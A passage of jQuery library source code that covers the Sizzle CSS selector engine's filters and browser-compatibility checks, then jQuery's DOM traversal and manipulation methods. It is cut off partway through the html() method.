curLoop[i] = false;
}
}
}
return false;
},
ID: function( match ) {
return match[1].replace( rBackslash, "" );
},
TAG: function( match, curLoop ) {
return match[1].replace( rBackslash, "" ).toLowerCase();
},
CHILD: function( match ) {
if ( match[1] === "nth" ) {
if ( !match[2] ) {
Sizzle.error( match[0] );
}
match[2] = match[2].replace(/^\+|\s*/g, '');
// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
// calculate the numbers (first)n+(last) including if they are negative
match[2] = (test[1] + (test[2] || 1)) - 0;
match[3] = test[3] - 0;
}
else if ( match[2] ) {
Sizzle.error( match[0] );
}
// TODO: Move to normal caching system
match[0] = done++;
return match;
},
ATTR: function( match, curLoop, inplace, result, not, isXML ) {
var name = match[1] = match[1].replace( rBackslash, "" );
if ( !isXML && Expr.attrMap[name] ) {
match[1] = Expr.attrMap[name];
}
// Handle if an un-quoted value was used
match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
if ( match[2] === "~=" ) {
match[4] = " " + match[4] + " ";
}
return match;
},
PSEUDO: function( match, curLoop, inplace, result, not ) {
if ( match[1] === "not" ) {
// If we're dealing with a complex expression, or a simple one
if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
match[3] = Sizzle(match[3], null, null, curLoop);
} else {
var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
if ( !inplace ) {
result.push.apply( result, ret );
}
return false;
}
} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
return true;
}
return match;
},
POS: function( match ) {
match.unshift( true );
return match;
}
},
filters: {
enabled: function( elem ) {
return elem.disabled === false && elem.type !== "hidden";
},
disabled: function( elem ) {
return elem.disabled === true;
},
checked: function( elem ) {
return elem.checked === true;
},
selected: function( elem ) {
// Accessing this property makes selected-by-default
// options in Safari work properly
if ( elem.parentNode ) {
elem.parentNode.selectedIndex;
}
return elem.selected === true;
},
parent: function( elem ) {
return !!elem.firstChild;
},
empty: function( elem ) {
return !elem.firstChild;
},
has: function( elem, i, match ) {
return !!Sizzle( match[3], elem ).length;
},
header: function( elem ) {
return (/h\d/i).test( elem.nodeName );
},
text: function( elem ) {
var attr = elem.getAttribute( "type" ), type = elem.type;
// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
// use getAttribute instead to test this case
return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
},
radio: function( elem ) {
return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
},
checkbox: function( elem ) {
return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
},
file: function( elem ) {
return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
},
password: function( elem ) {
return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
},
submit: function( elem ) {
var name = elem.nodeName.toLowerCase();
return (name === "input" || name === "button") && "submit" === elem.type;
},
image: function( elem ) {
return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
},
reset: function( elem ) {
var name = elem.nodeName.toLowerCase();
return (name === "input" || name === "button") && "reset" === elem.type;
},
button: function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && "button" === elem.type || name === "button";
},
input: function( elem ) {
return (/input|select|textarea|button/i).test( elem.nodeName );
},
focus: function( elem ) {
return elem === elem.ownerDocument.activeElement;
}
},
setFilters: {
first: function( elem, i ) {
return i === 0;
},
last: function( elem, i, match, array ) {
return i === array.length - 1;
},
even: function( elem, i ) {
return i % 2 === 0;
},
odd: function( elem, i ) {
return i % 2 === 1;
},
lt: function( elem, i, match ) {
return i < match[3] - 0;
},
gt: function( elem, i, match ) {
return i > match[3] - 0;
},
nth: function( elem, i, match ) {
return match[3] - 0 === i;
},
eq: function( elem, i, match ) {
return match[3] - 0 === i;
}
},
filter: {
PSEUDO: function( elem, match, i, array ) {
var name = match[1],
filter = Expr.filters[ name ];
if ( filter ) {
return filter( elem, i, match, array );
} else if ( name === "contains" ) {
return (elem.textContent || elem.innerText || Sizzle.getText([ elem ]) || "").indexOf(match[3]) >= 0;
} else if ( name === "not" ) {
var not = match[3];
for ( var j = 0, l = not.length; j < l; j++ ) {
if ( not[j] === elem ) {
return false;
}
}
return true;
} else {
Sizzle.error( name );
}
},
CHILD: function( elem, match ) {
var type = match[1],
node = elem;
switch ( type ) {
case "only":
case "first":
while ( (node = node.previousSibling) ) {
if ( node.nodeType === 1 ) {
return false;
}
}
if ( type === "first" ) {
return true;
}
node = elem;
case "last":
while ( (node = node.nextSibling) ) {
if ( node.nodeType === 1 ) {
return false;
}
}
return true;
case "nth":
var first = match[2],
last = match[3];
if ( first === 1 && last === 0 ) {
return true;
}
var doneName = match[0],
parent = elem.parentNode;
if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {
var count = 0;
for ( node = parent.firstChild; node; node = node.nextSibling ) {
if ( node.nodeType === 1 ) {
node.nodeIndex = ++count;
}
}
parent.sizcache = doneName;
}
var diff = elem.nodeIndex - last;
if ( first === 0 ) {
return diff === 0;
} else {
return ( diff % first === 0 && diff / first >= 0 );
}
}
},
ID: function( elem, match ) {
return elem.nodeType === 1 && elem.getAttribute("id") === match;
},
TAG: function( elem, match ) {
return (match === "*" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match;
},
CLASS: function( elem, match ) {
return (" " + (elem.className || elem.getAttribute("class")) + " ")
.indexOf( match ) > -1;
},
ATTR: function( elem, match ) {
var name = match[1],
result = Expr.attrHandle[ name ] ?
Expr.attrHandle[ name ]( elem ) :
elem[ name ] != null ?
elem[ name ] :
elem.getAttribute( name ),
value = result + "",
type = match[2],
check = match[4];
return result == null ?
type === "!=" :
type === "=" ?
value === check :
type === "*=" ?
value.indexOf(check) >= 0 :
type === "~=" ?
(" " + value + " ").indexOf(check) >= 0 :
!check ?
value && result !== false :
type === "!=" ?
value !== check :
type === "^=" ?
value.indexOf(check) === 0 :
type === "$=" ?
value.substr(value.length - check.length) === check :
type === "|=" ?
value === check || value.substr(0, check.length + 1) === check + "-" :
false;
},
POS: function( elem, match, i, array ) {
var name = match[2],
filter = Expr.setFilters[ name ];
if ( filter ) {
return filter( elem, i, match, array );
}
}
}
};
var origPOS = Expr.match.POS,
fescape = function(all, num){
return "\\" + (num - 0 + 1);
};
for ( var type in Expr.match ) {
Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
}
var makeArray = function( array, results ) {
array = Array.prototype.slice.call( array, 0 );
if ( results ) {
results.push.apply( results, array );
return results;
}
return array;
};
// Perform a simple check to determine if the browser is capable of
// converting a NodeList to an array using builtin methods.
// Also verifies that the returned array holds DOM nodes
// (which is not the case in the Blackberry browser)
try {
Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
// Provide a fallback method if it does not work
} catch( e ) {
makeArray = function( array, results ) {
var i = 0,
ret = results || [];
if ( toString.call(array) === "[object Array]" ) {
Array.prototype.push.apply( ret, array );
} else {
if ( typeof array.length === "number" ) {
for ( var l = array.length; i < l; i++ ) {
ret.push( array[i] );
}
} else {
for ( ; array[i]; i++ ) {
ret.push( array[i] );
}
}
}
return ret;
};
}
var sortOrder, siblingCheck;
if ( document.documentElement.compareDocumentPosition ) {
sortOrder = function( a, b ) {
if ( a === b ) {
hasDuplicate = true;
return 0;
}
if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
return a.compareDocumentPosition ? -1 : 1;
}
return a.compareDocumentPosition(b) & 4 ? -1 : 1;
};
} else {
sortOrder = function( a, b ) {
// The nodes are identical, we can exit early
if ( a === b ) {
hasDuplicate = true;
return 0;
// Fallback to using sourceIndex (in IE) if it's available on both nodes
} else if ( a.sourceIndex && b.sourceIndex ) {
return a.sourceIndex - b.sourceIndex;
}
var al, bl,
ap = [],
bp = [],
aup = a.parentNode,
bup = b.parentNode,
cur = aup;
// If the nodes are siblings (or identical) we can do a quick check
if ( aup === bup ) {
return siblingCheck( a, b );
// If no parents were found then the nodes are disconnected
} else if ( !aup ) {
return -1;
} else if ( !bup ) {
return 1;
}
// Otherwise they're somewhere else in the tree so we need
// to build up a full list of the parentNodes for comparison
while ( cur ) {
ap.unshift( cur );
cur = cur.parentNode;
}
cur = bup;
while ( cur ) {
bp.unshift( cur );
cur = cur.parentNode;
}
al = ap.length;
bl = bp.length;
// Start walking down the tree looking for a discrepancy
for ( var i = 0; i < al && i < bl; i++ ) {
if ( ap[i] !== bp[i] ) {
return siblingCheck( ap[i], bp[i] );
}
}
// We ended someplace up the tree so do a sibling check
return i === al ?
siblingCheck( a, bp[i], -1 ) :
siblingCheck( ap[i], b, 1 );
};
siblingCheck = function( a, b, ret ) {
if ( a === b ) {
return ret;
}
var cur = a.nextSibling;
while ( cur ) {
if ( cur === b ) {
return -1;
}
cur = cur.nextSibling;
}
return 1;
};
}
// Utility function for retreiving the text value of an array of DOM nodes
Sizzle.getText = function( elems ) {
var ret = "", elem;
for ( var i = 0; elems[i]; i++ ) {
elem = elems[i];
// Get the text from text nodes and CDATA nodes
if ( elem.nodeType === 3 || elem.nodeType === 4 ) {
ret += elem.nodeValue;
// Traverse everything else, except comment nodes
} else if ( elem.nodeType !== 8 ) {
ret += Sizzle.getText( elem.childNodes );
}
}
return ret;
};
// Check to see if the browser returns elements by name when
// querying by getElementById (and provide a workaround)
(function(){
// We're going to inject a fake input element with a specified name
var form = document.createElement("div"),
id = "script" + (new Date()).getTime(),
root = document.documentElement;
form.innerHTML = "<a name='" + id + "'/>";
// Inject it into the root element, check its status, and remove it quickly
root.insertBefore( form, root.firstChild );
// The workaround has to do additional checks after a getElementById
// Which slows things down for other browsers (hence the branching)
if ( document.getElementById( id ) ) {
Expr.find.ID = function( match, context, isXML ) {
if ( typeof context.getElementById !== "undefined" && !isXML ) {
var m = context.getElementById(match[1]);
return m ?
m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
[m] :
undefined :
[];
}
};
Expr.filter.ID = function( elem, match ) {
var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
return elem.nodeType === 1 && node && node.nodeValue === match;
};
}
root.removeChild( form );
// release memory in IE
root = form = null;
})();
(function(){
// Check to see if the browser returns only elements
// when doing getElementsByTagName("*")
// Create a fake element
var div = document.createElement("div");
div.appendChild( document.createComment("") );
// Make sure no comments are found
if ( div.getElementsByTagName("*").length > 0 ) {
Expr.find.TAG = function( match, context ) {
var results = context.getElementsByTagName( match[1] );
// Filter out possible comments
if ( match[1] === "*" ) {
var tmp = [];
for ( var i = 0; results[i]; i++ ) {
if ( results[i].nodeType === 1 ) {
tmp.push( results[i] );
}
}
results = tmp;
}
return results;
};
}
// Check to see if an attribute returns normalized href attributes
div.innerHTML = "<a href='#'></a>";
if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
div.firstChild.getAttribute("href") !== "#" ) {
Expr.attrHandle.href = function( elem ) {
return elem.getAttribute( "href", 2 );
};
}
// release memory in IE
div = null;
})();
if ( document.querySelectorAll ) {
(function(){
var oldSizzle = Sizzle,
div = document.createElement("div"),
id = "__sizzle__";
div.innerHTML = "<p class='TEST'></p>";
// Safari can't handle uppercase or unicode characters when
// in quirks mode.
if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
return;
}
Sizzle = function( query, context, extra, seed ) {
context = context || document;
// Only use querySelectorAll on non-XML documents
// (ID selectors don't work in non-HTML documents)
if ( !seed && !Sizzle.isXML(context) ) {
// See if we find a selector to speed up
var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
// Speed-up: Sizzle("TAG")
if ( match[1] ) {
return makeArray( context.getElementsByTagName( query ), extra );
// Speed-up: Sizzle(".CLASS")
} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
return makeArray( context.getElementsByClassName( match[2] ), extra );
}
}
if ( context.nodeType === 9 ) {
// Speed-up: Sizzle("body")
// The body element only exists once, optimize finding it
if ( query === "body" && context.body ) {
return makeArray( [ context.body ], extra );
// Speed-up: Sizzle("#ID")
} else if ( match && match[3] ) {
var elem = context.getElementById( match[3] );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
if ( elem && elem.parentNode ) {
// Handle the case where IE and Opera return items
// by name instead of ID
if ( elem.id === match[3] ) {
return makeArray( [ elem ], extra );
}
} else {
return makeArray( [], extra );
}
}
try {
return makeArray( context.querySelectorAll(query), extra );
} catch(qsaError) {}
// qSA works strangely on Element-rooted queries
// We can work around this by specifying an extra ID on the root
// and working up from there (Thanks to Andrew Dupont for the technique)
// IE 8 doesn't work on object elements
} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
var oldContext = context,
old = context.getAttribute( "id" ),
nid = old || id,
hasParent = context.parentNode,
relativeHierarchySelector = /^\s*[+~]/.test( query );
if ( !old ) {
context.setAttribute( "id", nid );
} else {
nid = nid.replace( /'/g, "\\$&" );
}
if ( relativeHierarchySelector && hasParent ) {
context = context.parentNode;
}
try {
if ( !relativeHierarchySelector || hasParent ) {
return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
}
} catch(pseudoError) {
} finally {
if ( !old ) {
oldContext.removeAttribute( "id" );
}
}
}
}
return oldSizzle(query, context, extra, seed);
};
for ( var prop in oldSizzle ) {
Sizzle[ prop ] = oldSizzle[ prop ];
}
// release memory in IE
div = null;
})();
}
(function(){
var html = document.documentElement,
matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
if ( matches ) {
// Check to see if it's possible to do matchesSelector
// on a disconnected node (IE 9 fails this)
var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
pseudoWorks = false;
try {
// This should fail with an exception
// Gecko does not error, returns false instead
matches.call( document.documentElement, "[test!='']:sizzle" );
} catch( pseudoError ) {
pseudoWorks = true;
}
Sizzle.matchesSelector = function( node, expr ) {
// Make sure that attribute selectors are quoted
expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
if ( !Sizzle.isXML( node ) ) {
try {
if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
var ret = matches.call( node, expr );
// IE 9's matchesSelector returns false on disconnected nodes
if ( ret || !disconnectedMatch ||
// As well, disconnected nodes are said to be in a document
// fragment in IE 9, so check for that
node.document && node.document.nodeType !== 11 ) {
return ret;
}
}
} catch(e) {}
}
return Sizzle(expr, null, null, [node]).length > 0;
};
}
})();
(function(){
var div = document.createElement("div");
div.innerHTML = "<div class='test e'></div><div class='test'></div>";
// Opera can't find a second classname (in 9.6)
// Also, make sure that getElementsByClassName actually exists
if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
return;
}
// Safari caches class attributes, doesn't catch changes (in 3.2)
div.lastChild.className = "e";
if ( div.getElementsByClassName("e").length === 1 ) {
return;
}
Expr.order.splice(1, 0, "CLASS");
Expr.find.CLASS = function( match, context, isXML ) {
if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
return context.getElementsByClassName(match[1]);
}
};
// release memory in IE
div = null;
})();
function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
for ( var i = 0, l = checkSet.length; i < l; i++ ) {
var elem = checkSet[i];
if ( elem ) {
var match = false;
elem = elem[dir];
while ( elem ) {
if ( elem.sizcache === doneName ) {
match = checkSet[elem.sizset];
break;
}
if ( elem.nodeType === 1 && !isXML ){
elem.sizcache = doneName;
elem.sizset = i;
}
if ( elem.nodeName.toLowerCase() === cur ) {
match = elem;
break;
}
elem = elem[dir];
}
checkSet[i] = match;
}
}
}
function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
for ( var i = 0, l = checkSet.length; i < l; i++ ) {
var elem = checkSet[i];
if ( elem ) {
var match = false;
elem = elem[dir];
while ( elem ) {
if ( elem.sizcache === doneName ) {
match = checkSet[elem.sizset];
break;
}
if ( elem.nodeType === 1 ) {
if ( !isXML ) {
elem.sizcache = doneName;
elem.sizset = i;
}
if ( typeof cur !== "string" ) {
if ( elem === cur ) {
match = true;
break;
}
} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
match = elem;
break;
}
}
elem = elem[dir];
}
checkSet[i] = match;
}
}
}
if ( document.documentElement.contains ) {
Sizzle.contains = function( a, b ) {
return a !== b && (a.contains ? a.contains(b) : true);
};
} else if ( document.documentElement.compareDocumentPosition ) {
Sizzle.contains = function( a, b ) {
return !!(a.compareDocumentPosition(b) & 16);
};
} else {
Sizzle.contains = function() {
return false;
};
}
Sizzle.isXML = function( elem ) {
// documentElement is verified for cases where it doesn't yet exist
// (such as loading iframes in IE - #4833)
var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
return documentElement ? documentElement.nodeName !== "HTML" : false;
};
var posProcess = function( selector, context ) {
var match,
tmpSet = [],
later = "",
root = context.nodeType ? [context] : context;
// Position selectors must be done after the filter
// And so must :not(positional) so we move all PSEUDOs to the end
while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
later += match[0];
selector = selector.replace( Expr.match.PSEUDO, "" );
}
selector = Expr.relative[selector] ? selector + "*" : selector;
for ( var i = 0, l = root.length; i < l; i++ ) {
Sizzle( selector, root[i], tmpSet );
}
return Sizzle.filter( later, tmpSet );
};
// EXPOSE
jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;
jQuery.expr[":"] = jQuery.expr.filters;
jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
})();
var runtil = /Until$/,
rparentsprev = /^(?:parents|prevUntil|prevAll)/,
// Note: This RegExp should be improved, or likely pulled from Sizzle
rmultiselector = /,/,
isSimple = /^.[^:#\[\.,]*$/,
slice = Array.prototype.slice,
POS = jQuery.expr.match.POS,
// methods guaranteed to produce a unique set when starting from a unique set
guaranteedUnique = {
children: true,
contents: true,
next: true,
prev: true
};
jQuery.fn.extend({
find: function( selector ) {
var self = this,
i, l;
if ( typeof selector !== "string" ) {
return jQuery( selector ).filter(function() {
for ( i = 0, l = self.length; i < l; i++ ) {
if ( jQuery.contains( self[ i ], this ) ) {
return true;
}
}
});
}
var ret = this.pushStack( "", "find", selector ),
length, n, r;
for ( i = 0, l = this.length; i < l; i++ ) {
length = ret.length;
jQuery.find( selector, this[i], ret );
if ( i > 0 ) {
// Make sure that the results are unique
for ( n = length; n < ret.length; n++ ) {
for ( r = 0; r < length; r++ ) {
if ( ret[r] === ret[n] ) {
ret.splice(n--, 1);
break;
}
}
}
}
}
return ret;
},
has: function( target ) {
var targets = jQuery( target );
return this.filter(function() {
for ( var i = 0, l = targets.length; i < l; i++ ) {
if ( jQuery.contains( this, targets[i] ) ) {
return true;
}
}
});
},
not: function( selector ) {
return this.pushStack( winnow(this, selector, false), "not", selector);
},
filter: function( selector ) {
return this.pushStack( winnow(this, selector, true), "filter", selector );
},
is: function( selector ) {
return !!selector && ( typeof selector === "string" ?
jQuery.filter( selector, this ).length > 0 :
this.filter( selector ).length > 0 );
},
closest: function( selectors, context ) {
var ret = [], i, l, cur = this[0];
// Array
if ( jQuery.isArray( selectors ) ) {
var match, selector,
matches = {},
level = 1;
if ( cur && selectors.length ) {
for ( i = 0, l = selectors.length; i < l; i++ ) {
selector = selectors[i];
if ( !matches[ selector ] ) {
matches[ selector ] = POS.test( selector ) ?
jQuery( selector, context || this.context ) :
selector;
}
}
while ( cur && cur.ownerDocument && cur !== context ) {
for ( selector in matches ) {
match = matches[ selector ];
if ( match.jquery ? match.index( cur ) > -1 : jQuery( cur ).is( match ) ) {
ret.push({ selector: selector, elem: cur, level: level });
}
}
cur = cur.parentNode;
level++;
}
}
return ret;
}
// String
var pos = POS.test( selectors ) || typeof selectors !== "string" ?
jQuery( selectors, context || this.context ) :
0;
for ( i = 0, l = this.length; i < l; i++ ) {
cur = this[i];
while ( cur ) {
if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) {
ret.push( cur );
break;
} else {
cur = cur.parentNode;
if ( !cur || !cur.ownerDocument || cur === context || cur.nodeType === 11 ) {
break;
}
}
}
}
ret = ret.length > 1 ? jQuery.unique( ret ) : ret;
return this.pushStack( ret, "closest", selectors );
},
// Determine the position of an element within
// the matched set of elements
index: function( elem ) {
// No argument, return index in parent
if ( !elem ) {
return ( this[0] && this[0].parentNode ) ? this.prevAll().length : -1;
}
// index in selector
if ( typeof elem === "string" ) {
return jQuery.inArray( this[0], jQuery( elem ) );
}
// Locate the position of the desired element
return jQuery.inArray(
// If it receives a jQuery object, the first element is used
elem.jquery ? elem[0] : elem, this );
},
add: function( selector, context ) {
var set = typeof selector === "string" ?
jQuery( selector, context ) :
jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ),
all = jQuery.merge( this.get(), set );
return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?
all :
jQuery.unique( all ) );
},
andSelf: function() {
return this.add( this.prevObject );
}
});
// A painfully simple check to see if an element is disconnected
// from a document (should be improved, where feasible).
function isDisconnected( node ) {
return !node || !node.parentNode || node.parentNode.nodeType === 11;
}
jQuery.each({
parent: function( elem ) {
var parent = elem.parentNode;
return parent && parent.nodeType !== 11 ? parent : null;
},
parents: function( elem ) {
return jQuery.dir( elem, "parentNode" );
},
parentsUntil: function( elem, i, until ) {
return jQuery.dir( elem, "parentNode", until );
},
next: function( elem ) {
return jQuery.nth( elem, 2, "nextSibling" );
},
prev: function( elem ) {
return jQuery.nth( elem, 2, "previousSibling" );
},
nextAll: function( elem ) {
return jQuery.dir( elem, "nextSibling" );
},
prevAll: function( elem ) {
return jQuery.dir( elem, "previousSibling" );
},
nextUntil: function( elem, i, until ) {
return jQuery.dir( elem, "nextSibling", until );
},
prevUntil: function( elem, i, until ) {
return jQuery.dir( elem, "previousSibling", until );
},
siblings: function( elem ) {
return jQuery.sibling( elem.parentNode.firstChild, elem );
},
children: function( elem ) {
return jQuery.sibling( elem.firstChild );
},
contents: function( elem ) {
return jQuery.nodeName( elem, "iframe" ) ?
elem.contentDocument || elem.contentWindow.document :
jQuery.makeArray( elem.childNodes );
}
}, function( name, fn ) {
jQuery.fn[ name ] = function( until, selector ) {
var ret = jQuery.map( this, fn, until ),
// The variable 'args' was introduced in
// https://github.com/jquery/jquery/commit/52a0238
// to work around a bug in Chrome 10 (Dev) and should be removed when the bug is fixed.
// http://code.google.com/p/v8/issues/detail?id=1050
args = slice.call(arguments);
if ( !runtil.test( name ) ) {
selector = until;
}
if ( selector && typeof selector === "string" ) {
ret = jQuery.filter( selector, ret );
}
ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret;
if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) {
ret = ret.reverse();
}
return this.pushStack( ret, name, args.join(",") );
};
});
jQuery.extend({
filter: function( expr, elems, not ) {
if ( not ) {
expr = ":not(" + expr + ")";
}
return elems.length === 1 ?
jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] :
jQuery.find.matches(expr, elems);
},
dir: function( elem, dir, until ) {
var matched = [],
cur = elem[ dir ];
while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {
if ( cur.nodeType === 1 ) {
matched.push( cur );
}
cur = cur[dir];
}
return matched;
},
nth: function( cur, result, dir, elem ) {
result = result || 1;
var num = 0;
for ( ; cur; cur = cur[dir] ) {
if ( cur.nodeType === 1 && ++num === result ) {
break;
}
}
return cur;
},
sibling: function( n, elem ) {
var r = [];
for ( ; n; n = n.nextSibling ) {
if ( n.nodeType === 1 && n !== elem ) {
r.push( n );
}
}
return r;
}
});
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, keep ) {
// Can't pass null or undefined to indexOf in Firefox 4
// Set to 0 to skip string check
qualifier = qualifier || 0;
if ( jQuery.isFunction( qualifier ) ) {
return jQuery.grep(elements, function( elem, i ) {
var retVal = !!qualifier.call( elem, i, elem );
return retVal === keep;
});
} else if ( qualifier.nodeType ) {
return jQuery.grep(elements, function( elem, i ) {
return (elem === qualifier) === keep;
});
} else if ( typeof qualifier === "string" ) {
var filtered = jQuery.grep(elements, function( elem ) {
return elem.nodeType === 1;
});
if ( isSimple.test( qualifier ) ) {
return jQuery.filter(qualifier, filtered, !keep);
} else {
qualifier = jQuery.filter( qualifier, filtered );
}
}
return jQuery.grep(elements, function( elem, i ) {
return (jQuery.inArray( elem, qualifier ) >= 0) === keep;
});
}
var rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g,
rleadingWhitespace = /^\s+/,
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,
rtagName = /<([\w:]+)/,
rtbody = /<tbody/i,
rhtml = /<|&#?\w+;/,
rnocache = /<(?:script|object|embed|option|style)/i,
// checked="checked" or checked
rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
rscriptType = /\/(java|ecma)script/i,
rcleanScript = /^\s*<!(?:\[CDATA\[|\-\-)/,
wrapMap = {
option: [ 1, "<select multiple='multiple'>", "</select>" ],
legend: [ 1, "<fieldset>", "</fieldset>" ],
thead: [ 1, "<table>", "</table>" ],
tr: [ 2, "<table><tbody>", "</tbody></table>" ],
td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
area: [ 1, "<map>", "</map>" ],
_default: [ 0, "", "" ]
};
wrapMap.optgroup = wrapMap.option;
wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;
// IE can't serialize <link> and <script> tags normally
if ( !jQuery.support.htmlSerialize ) {
wrapMap._default = [ 1, "div<div>", "</div>" ];
}
jQuery.fn.extend({
text: function( text ) {
if ( jQuery.isFunction(text) ) {
return this.each(function(i) {
var self = jQuery( this );
self.text( text.call(this, i, self.text()) );
});
}
if ( typeof text !== "object" && text !== undefined ) {
return this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );
}
return jQuery.text( this );
},
wrapAll: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function(i) {
jQuery(this).wrapAll( html.call(this, i) );
});
}
if ( this[0] ) {
// The elements to wrap the target around
var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);
if ( this[0].parentNode ) {
wrap.insertBefore( this[0] );
}
wrap.map(function() {
var elem = this;
while ( elem.firstChild && elem.firstChild.nodeType === 1 ) {
elem = elem.firstChild;
}
return elem;
}).append( this );
}
return this;
},
wrapInner: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function(i) {
jQuery(this).wrapInner( html.call(this, i) );
});
}
return this.each(function() {
var self = jQuery( this ),
contents = self.contents();
if ( contents.length ) {
contents.wrapAll( html );
} else {
self.append( html );
}
});
},
wrap: function( html ) {
return this.each(function() {
jQuery( this ).wrapAll( html );
});
},
unwrap: function() {
return this.parent().each(function() {
if ( !jQuery.nodeName( this, "body" ) ) {
jQuery( this ).replaceWith( this.childNodes );
}
}).end();
},
append: function() {
return this.domManip(arguments, true, function( elem ) {
if ( this.nodeType === 1 ) {
this.appendChild( elem );
}
});
},
prepend: function() {
return this.domManip(arguments, true, function( elem ) {
if ( this.nodeType === 1 ) {
this.insertBefore( elem, this.firstChild );
}
});
},
before: function() {
if ( this[0] && this[0].parentNode ) {
return this.domManip(arguments, false, function( elem ) {
this.parentNode.insertBefore( elem, this );
});
} else if ( arguments.length ) {
var set = jQuery(arguments[0]);
set.push.apply( set, this.toArray() );
return this.pushStack( set, "before", arguments );
}
},
after: function() {
if ( this[0] && this[0].parentNode ) {
return this.domManip(arguments, false, function( elem ) {
this.parentNode.insertBefore( elem, this.nextSibling );
});
} else if ( arguments.length ) {
var set = this.pushStack( this, "after", arguments );
set.push.apply( set, jQuery(arguments[0]).toArray() );
return set;
}
},
// keepData is for internal use only--do not document
remove: function( selector, keepData ) {
for ( var i = 0, elem; (elem = this[i]) != null; i++ ) {
if ( !selector || jQuery.filter( selector, [ elem ] ).length ) {
if ( !keepData && elem.nodeType === 1 ) {
jQuery.cleanData( elem.getElementsByTagName("*") );
jQuery.cleanData( [ elem ] );
}
if ( elem.parentNode ) {
elem.parentNode.removeChild( elem );
}
}
}
return this;
},
empty: function() {
for ( var i = 0, elem; (elem = this[i]) != null; i++ ) {
// Remove element nodes and prevent memory leaks
if ( elem.nodeType === 1 ) {
jQuery.cleanData( elem.getElementsByTagName("*") );
}
// Remove any remaining nodes
while ( elem.firstChild ) {
elem.removeChild( elem.firstChild );
}
}
return this;
},
clone: function( dataAndEvents, deepDataAndEvents ) {
dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
return this.map( function () {
return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
});
},
html: function( value ) {
if ( value === undefined ) {
return this[0] && this[0].nodeType === 1 ?
this[0].innerHTML.replace(rinlinejQuery, "") :
null;
// See if we can take a shortcut and just use innerHTML
} else if ( typeof value === "string" && !rnocache.test( value ) &&
